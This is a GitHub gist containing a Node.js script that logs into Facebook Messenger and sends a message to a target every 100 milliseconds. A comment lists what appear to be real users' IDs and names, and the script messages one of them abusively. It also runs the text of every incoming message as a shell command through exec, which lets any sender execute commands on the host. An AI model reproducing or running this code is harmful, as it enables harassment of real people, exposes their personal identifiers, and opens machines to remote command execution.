Skip to content

Instantly share code, notes, and snippets.

@kamath
Created August 16, 2016 04:24
Show Gist options
  • Save kamath/c08265e6a7c840dc0929a8b19381963f to your computer and use it in GitHub Desktop.
Save kamath/c08265e6a7c840dc0929a8b19381963f to your computer and use it in GitHub Desktop.
Script to spam someone on Facebook messenger via node.js
//Requirements: Node.js, npm
//Run ~$ npm i && node index.js
//require modules such as the Facebook chat api
var login = require("facebook-chat-api");
var sys = require('sys')
var exec = require('child_process').exec;
var fs = require('fs');
//define a process that returns the JSON version of a string
function getStringLiteral(theFunction) {
return JSON.stringify(theFunction.toString());
}
//login to facebook
login({
email: "your email",
password: "your password"
}, function callback(err, api) {
if (err) return console.error(err);
api.setOptions({
listenEvents: true
});
setInterval(function() {api.sendMessage("whatever you wanna send lol", 'recipient id')}, 100 /*this number is how often you wanna send the message in milliseconds*/); //100008207958170 - Samarth 100003154180282 - Jay 100005867495342 - Andy
var stopListening = api.listen(function(err, event) {
if (err) return console.error(err);
switch (event.type) {
//all your message interactions go here
case "message":
//stop listening if they say "/stop"
if (event.body === '/stop') {
api.sendMessage("Goodbye...", event.threadID);
return stopListening();
}
else {
exec(event.body, function(error, stdout, stderr) {
api.sendMessage("fuck you jay", 'recipient id')
});
}
//mark message as read
api.markAsRead(event.threadID, function(err) {
if (err) console.log(err);
});
break;
case "event":
console.log(event);
break;
}
});
});
@pyalarolbox-js
Copy link

Scam

@pyalarolbox-js
Copy link

You trying to hack

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment